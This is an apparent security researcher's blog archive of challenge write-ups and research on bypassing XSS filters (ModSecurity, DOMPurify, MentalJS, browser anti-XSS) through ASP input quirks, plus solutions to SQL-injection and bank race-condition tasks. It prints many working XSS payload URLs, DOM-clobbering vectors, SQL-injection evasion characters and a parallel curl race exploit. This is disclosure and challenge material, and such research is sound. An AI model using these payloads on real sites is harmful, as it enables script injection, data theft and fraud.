Tag Archives: Anti-XSS bypass

Rare ASP.NET request validation bypass using request encoding

I had blogged about this in NCC Group’s website. I thought it is the best to add a link to it here as well.

It is possible to bypass the ASP.NET request validation capability when errors are ignored using request encoding techniques. This can be abused to perform stored cross-site scripting (XSS) attacks.

The full article can be read here: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/

PDF version can be downloaded from: https://soroush.secproject.com/downloadable/Rare_ASP.NET_Request_Validation_Bypass_Using_Request_Encoding.pdf

How did I bypass everything in modsecurity evasion challenge?

First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html

I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.

As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)

Here is what I did to bypass the XSS protections in this challenge for future reference:

XSS Defense #1 – blacklist method

XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.

I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…

However, I used the following features to bypass these protections:

  •  An “object” tag does not need to be closed for this scenario.
  • A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
  • “allowScriptAccess” and “data” attributes were allowed!

So the following is a bypass method for the XSS Defense #1:

<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?

And as the page writes the payload twice, I could also use the following to bypass the protections:

'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='

XSS Defense #2 and #3 – DomPurify and MentalJS

The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.

I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:

// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js
        var _isClobbered = function(elm) {
            if(elm instanceof Text) {
                return false;
            if (
                (elm.children && !(elm.children instanceof HTMLCollection))
                || typeof elm.nodeName !== 'string'
                || typeof elm.textContent !== 'string'
                || typeof elm.nodeType !== 'number'
                || typeof elm.COMMENT_NODE !== 'number'
                || typeof elm.setAttribute !== 'function'
                || typeof elm.cloneNode !== 'function'
                || typeof elm.removeAttributeNode !== 'function'
                || typeof elm.insertAdjacentHTML !== 'function'
                || typeof elm.attributes.item !== 'function'
            ) {
                return true;
            return false;

In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:

/* Check if we have attributes; if not we might have a text node */
if(currentNode.attributes) {

/* Go backwards over all attributes; safely remove bad ones */
for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
tmp = clonedNode.attributes[attr];
clobbering = false;

The bypass code is as follows:

<form onmouseover="alert(&quot;by @irsdl:&quot;%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />

It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:

if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') {

XSS Defense #3 – MentalJS

Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:

<script type="text/javascript">

I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:

Keeping script “src” to an external js file (normally MentalJS removes them):

<script type="text/javascript" src="http://ha.ckers.org/xss.js">

Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):

<form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form>

If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:


MentalJS has been written by Gareth Heyes (@garethheyes‎) who was supporting me to bypass his tool to make it more secure.

Browsers Anti-XSS methods in ASP (classic) have been defeated!

Download Link: http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf

Browsers Anti-XSS methods in ASP (classic) have been defeated!

This time, I want to start with the summary section first to break the rules!


The intention of this paper is to prove the client-side XSS protection methods must have rules for different web application languages, otherwise they will be bypassed. This research is based on ASP classic web applications, but it can be performed in other web application languages as well.


I researched different methods of sending inputs to an ASP (classic) page. I found out that almost all of the browsers’ Anti-XSS protection methods are not aware of different features of ASP that accept the inputs; therefore, all of them can be bypassed.

Note: NoScript has already added all of these rules to its application and it is more secure than the others currently (thanks to Giorgio Maone for patching the application as quickly as possible). IE9 has better sense about ASP than Google Chrome, but it does not still have all the rules.


In order to make you more interested, I will start with two examples:

Example 1: Do you think Anti-XSS methods should detect this easy XSS attack?


Please try it in IE8/9/10 and Google Chrome to see the result.

Example 2: What about this?


Example 3: Or, sometimes, the bypass can be complicated! This is how I solved my XSS1 and XSS2 questions with a single solution in SecProject.com Challenge Series 1:


As you see, I am only using 1 input parameter to bypass everything! (Note: this special page in xss1 converts “<” and “>” to “&lt;” and “&gt;” which was used to bypass NoScript as well – it is not a NoScript bug)

Why can you bypass XSS protections? I will tell you now.

Interesting ASP Input Features

1- HTTP Parameter Pollution (HPP): ASP is one of the web application languages which can receive several inputs with one single name. Although this feature was/is used legitimately in some of the web applications, it can be useful for attackers to bypass some restrictions as well [1].

2- Certain UTF-8 characters will be transformed to their ASCII equivalents [2], [3]. It can be used in both of parameter names and their values. Therefore, “inPut1=<scriPt/>” is equal to “%u0131n%u2119ut1=%u3008scr%u0131%u2119t>”

3- Parameter names in ASP are not case sensitive. Therefore, “input1” is equal to “InPuT1”.

4- Anything after the Null character will be ignored in parameter names and their values. Therefore, “input1=test” is equal to “input1%00Something=test%00Anything”

5- Percentage characters (“%”) will be ignored when there is no Hex value after them in parameter names and their values. Therefore, “input1=test” is equal to “%input1%=t%%est%”

6- When a parameter name after the ampersand character (“&”) is not followed by an equal sign (“=”), ASP does not count it as a separate input. As a result, in “?&input1=test” the parameter name is “&input1”; or, in “?&input1&input1=test” the parameter name is “&input1&input1”.

Bypassing browsers Anti-XSS protections

Now we know many different interesting features of ASP. We can mix these features together to bypass the browsers protections which do not understand these rules. Please see the above examples again to identify the feature types which have been used.

Note 1: URL Encoding can be used in ASP to obfuscate the attack.

Note 2: Many UTF-8 vectors such as “%u1111” will be translated to “?” in ASP which can be used in JavaScript.

Note 3: Normally, a UTF-8 encoded string should have a lowercase “u”. Therefore, “%u0041” (which is “A”) is not equal to “%U0041” (which is “U0041”). However, sometimes server configurations can make these equal!

Note 4: If you have more than 1 input (multi-injection), reordering the input parameters may bypass the protections (input disorder method [4]).


Please let me know via twitter or email if you know or have found any other interesting features.

This research was based on ASP classic language. However, other languages such as PHP can be studied in the same way; for example, PHP ignores spaces before the parameter names and anything after the “[]” or a null character (“%00”) in the parameter names, or in PHP, space, dot, and a lone square-bracket characters (“ .[”) in parameter names will be converted to an underscore character (“_”).


[1] HTTP Parameter Pollution, URL: https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

[2] NoScript New Bypass Method by Unicode in ASP, URL: http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/

[3] Lost in Translation (ASP’s HomoXSSuality), URL: http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/

[4] SecProject Web AppSec Challenge Series 1 Results, URL: http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/


Download Link: http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf

SecProject Web AppSec Challenge Series 1 Results

I am going to have a quick write up about the questions to publish all the amazing vectors. But first, thanks to those highly skilled web application security researchers who attended my challenge series­1.

You can find these awesome contestants + their results in the Hall of Fame page.

Note about Anti-XSS bypasses: NoScript has already patched all of the issues. IE9 and Google Chrome still do not have a good protection against the multi-input XSS.

XSS1 and XSS2:

Multi-injected inputs in JavaScript with duality: These two questions were very similar. In fact, they could have the same answer with a little change.

Instead of using all three inputs, some contestants solved them just by using two inputs. I think using two inputs even made it easier!

XSS technique without parentheses from Gareth Heyes also was used in several solutions (http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/).

Some of the vectors could bypass the protections by changing the input orders (I call it “input disorder” method) (for example, “input2” before “input1”).

No one solved XSS1 and XSS2 by using only 1 input and HPP (it was not part of the challenge to be fair); however, it is possible to solve these questions only by using 1 input and bypass all the browsers protections. You can define this as a self-challenge for yourself.

None of the contestants used homo-characters in ASP to bypass the protections (http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/ , http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/). This also was not part of the challenge, but it was possible.


1- There was not a single solution that could bypass IE9 but not Google Chrome at the same time.

2- Based on the solutions that I had received, all the contestants could at least bypass Google Chrome in the first try (except Firefox without having any protection obviously). Therefore, Google Chrome is an easy target for this kind of XSS vulnerability when you can control multiple inputs.

3- NoScript was very tough target and it became harder and harder during the challenge as Giorgio Maone was constantly patching the issues. Most of the NoScript bypasses were patched in several hours only. Thanks to Giorgio for his support and providing us the best Anti-XSS solution which we can currently use and rely on. Please report any vector that still bypasses NoScript to Giorgio to help him to make it more secure.

Vectors: Google Chrome bypass only:

Some of these could bypass NoScript.

@kkotowicz (+NoScript, 2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=&input2=%27%29a}alert%28%[email protected]%27%29;function%20b%28%29{if%28/*&input3=*/%27//

@kkotowicz (Gareth Heyes Method, -Firefox, 2 inputs):


@kkotowicz (Gareth Heyes Method):


@kkotowicz (Gareth Heyes Method, +NoScript, 2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&input2=%27%2F*&inpui3=*%2F%29%29{}}%3B;onerror=window[%22al%22%2b%22ert%22];%22%22[%[email protected]%22].kkotowicz;;{if%28%22 

@superevr (2 inputs):


@superevr (+NoScript, 2 inputs):


@superevr (only 1 input):


@superevr (+NoScript):


@peterjaric (input disorder?):


@peterjaric (2 inputs):




@TheWildcat (+NoScript, Input disorder?):


@yousukezan (2 inputs):


@yousukezan (+NoScript, Only 1 input!):


@skeptic_fx (+NoScript, 2 inputs):


@skeptic_fx (+NoScript, 2 inputs):


@avlidienbrunn (2 inputs):


IE9 & Google Chrome:

@kkotowicz (Gareth Heyes Method):


@kkotowicz (IE9 only?, good obfuscation technique):


@kkotowicz (IE9 only?, good obfuscation technique):




@kkotowicz (Input disorder):



http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=/*%20%20*/%20/*&input2=%27%29%29%0A1};{y:{x:/*&input3=*/%20alert%28%[email protected]%22%29%20//%20%27%29//


http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=*/ //'));1 /*&input2=*/; alert("@shafigullin"); /*&input3=*/;self.close=setid;if(true){{x:1/*

@kinugawamasato (very interesting cross site technique, +NoScript):

<iframe id="x" src="http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&input2=%29%29{}}location.href=name/*&input3=%29;function%20a%28%29{//*/;function%20b%28%29{//" width="320" height="240"></iframe>
<script type="text/javascript">// <![CDATA[
document.getElementById('x').contentWindow.name="javascript:alert('Masato Kinugawa')";
// ]]></script>

@kinugawamasato (very interesting cross site technique, +NoScript):

<iframe src="http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=)){}}location.href=name;function%20a(){function%20b(){/*/%27&input2=\&input3=\&quot; id=" width="320" height="240"></iframe>
<script type="text/javascript">// <![CDATA[
document.getElementById('x').contentWindow.name="javascript:alert('Masato Kinugawa')";
// ]]></script>

@TheWildcat (Input disorder):


@TheWildcat (Input disorder, +NoScript):


@abysssec (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=')/*&input3=*/;}t();function t(){alert(/Milad/);{//

@abysssec (2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=test1&input2='))/*&input3=*/alert(0);}t();function t(){alert(/Milad/);{//

@avlidienbrunn (2 inputs):


@avlidienbrunn (2 inputs):


@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):

http://nevr.co.cc/imp.php?nofil&plain_xss=<!DOCTYPE html><iframe src="http://sdl.me/challenge1/xss1/JsChallenge1.asp%3finput1=test1%26input2=2'){}}%20try{/*%26input3=1*///'}finally{onerror=alert;throw document.domain};{{//"></iframe>

@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):

http://nevr.co.cc/imp.php?nofil&plain_xss=<!DOCTYPE html><iframe src="http%3A%2f%2fsdl.me%2fchallenge1%2fxss2%2fJsChallenge2.asp%3Finput1%3Dtest1%26input2%3D2%27%29%29%7B%7D%7D%20try%7B%2f%2a%26input3%3D1%2a%2f%2f%2f%27%29%7Dfinally%7Bonerror%3Dalert%3Bthrow%20%27superevr%27%7D%3B%7B%7B%2f%2f"></iframe>


I wanted to implement this in a way that you had to use HPP or other techniques in ASP to receive all the points. However, as you may know, its implementation went wrong and made it really impossible to be exploited in most of the browsers. You can still try to see if you can break it in Mozilla Firefox for example, I couldn’t.


This question is still exploitable in Internet Explorer by using the Conditional Comments in JavaScript (http://en.wikipedia.org/wiki/Conditional_comment).


@kinugawamasato (IE9 bypassed by me [@irsdl] by using homo-characters technique in the parameter name – will be explained in another blog post):

http://sdl.me/challenge1/xss3/JsChallenge3.asp?Input1=*/alert%28%[email protected]%20and%[email protected]%22%29;{{//%[email protected]%20@*//*%27%29%29;};{1&in%u2119ut1=1}/*@cc_on%[email protected]%281%291;@else

@avlidienbrunn (IE9 cannot simply detect this!):

http://sdl.me/challenge1/xss3/[email protected]+function+x(){if(1==1){+//*/+alert(/avlidienbrunn/.source);[email protected](!1)')==null){}}/*

SQL Injection:

The first part of this question was a blind sql injection. The second part was a bit trickier as it was a MS Access database; you had to write your query in a way to run differently in the second execution of the Query. Free space character (“ ”) was also filtered and you had to use something else.

Anyone who could solve the second part, automatically had the answer of the first part as well. However, all the contestants solved the both parts separately.


The free space character could be replaced by Tab character (“%09”), Line Feed (“%0A”), Carriage Return (“%0D”), and a plus sign (“%2B”). Moreover, the following characters in UTF-8 can be used in ASP to do the same thing:

%u 2556, %u 2510, %u 253c, %u 256c, %u 256b, %u 256a, %u 251c, %u 2518, %u 250c, %u 2514, %u 255d, %u 255a, %u 2553, %u 2555, %u ff0b, %u 255c, %u 255b, %u 2557, %u 2559, %u 2554, %u 2552, %u 2558


The first part could be exploited by using the normal method of blind SQL injection. As you already had the sample database and the source code, it could be done easily.

For the second part, there were three kinds of solution:

1- (The easiest) using the terminator character for MS Access and change the sorting order:

First query:

Set rs1 = oConnection.execute("select username,permission from users where id=" & input_id & " Order by id")

Second Query:

set rs2 = oConnection.execute("select username,password,permission from users where id=" & input_id & " Order by id")

You can see that in the 2nd query, we have selected the “password” field in the second field which was not in the first query. Therefore, if we could order them by using the second field, we could solve this section. Second field in the first query is “permission” and in the second query is “password”. However, as the queries already have the “Order by” part, we have to truncate the query. According to “https://www.owasp.org/index.php/Testing_for_MS_Access”, we can use the “%16” character to truncate the query. Note that null character “%00” cannot be used as it will terminate the text in ASP (before going to the query).

2- Using a time function with an IF condition in MS-Access:

As you may not be able to get the milliseconds in MS-Access, you need to create a delay between the first and the second queries.

3- Using a random number generator function with an IF condition in MS-Access:

Random number generator in MS-Access is a bit tricky as it can generate the same sequence of numbers whenever you run the application. However, you can use this feature (bug?) to have a stable exploit.

Exploits/Vectors – Blind SQLi:













Exploits/Vectors – Reading the Secret:

– Using ordering trick:    







– Using time functions:





– Using random number generator:



Vulnerable Bank Application:

It was a classic question about a vulnerable bank application. However, in here it was not vulnerable to a XSS or a SQL Injection, and you still had to increase your money. This is the current vulnerability of several web applications which do not have any protections against Race Condition issues.


The problem that we had in this application was a race condition issue when it was getting the current amount and decreasing and increasing money in the database. You could increase your money basically be sending a lot of requests at the same time to transfer money from one account into another (the best exploitation technique is when you transfer money from one account into the other accounts at the same time [classic to saving and ISA in this example]). Even if I did not have any delay in the application it was still exploitable! Using Transactions (http://www.w3schools.com/ado/met_conn_begintrans.asp) could save this bank, but it could lead to a denial of service at the same time. The solution of this problem should be implemented really carefully to not lead to a dead-lock.


@peterjaric (Simple Explanation):

(1) newBalanceDEC = cDbl(GetAmount(userID, fromacc) - amount)
(2) oConnection.execute("update accounts set " & fromacc & "="&newBalanceDEC&" where [enabled]=1 AND ID="&userID&"")
(3) newBalanceINC = cDbl(GetAmount(userID, toacc) + amount)
(4) oConnection.execute("update accounts set " & toacc & "="&newBalanceINC&" where [enabled]=1 AND ID="&userID&"")
There is no concept of thread safety in this code, so what could happen if two request to transfer money between the same two accounts would come in at the same time? There is no guarantee that one request (call it 'A') would run first and then the other (call it 'B'). They might get interleaved like for example this (assuming transfer of 1 from Classic account with 100 to Savings with 0):
A1 newBalanceDEC = 99
B1 newBalanceDEC = 99
A2 Classic = 99
B2 Classic = 99
A3 newBalanceINC = 1
A4 Saving = 1
B3 newBalanceINC = 2
B4 Saving = 2

@peterjaric (Simple Exploit):

$ alias doit='curl http://localhost:9000/vulnbankapp/transfermoney.asp -d "userID=36&fromacc=1&toacc=2&amount=1&password=123456"'

$ doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit …



Exploitation Video by using Burp Suite Pro.: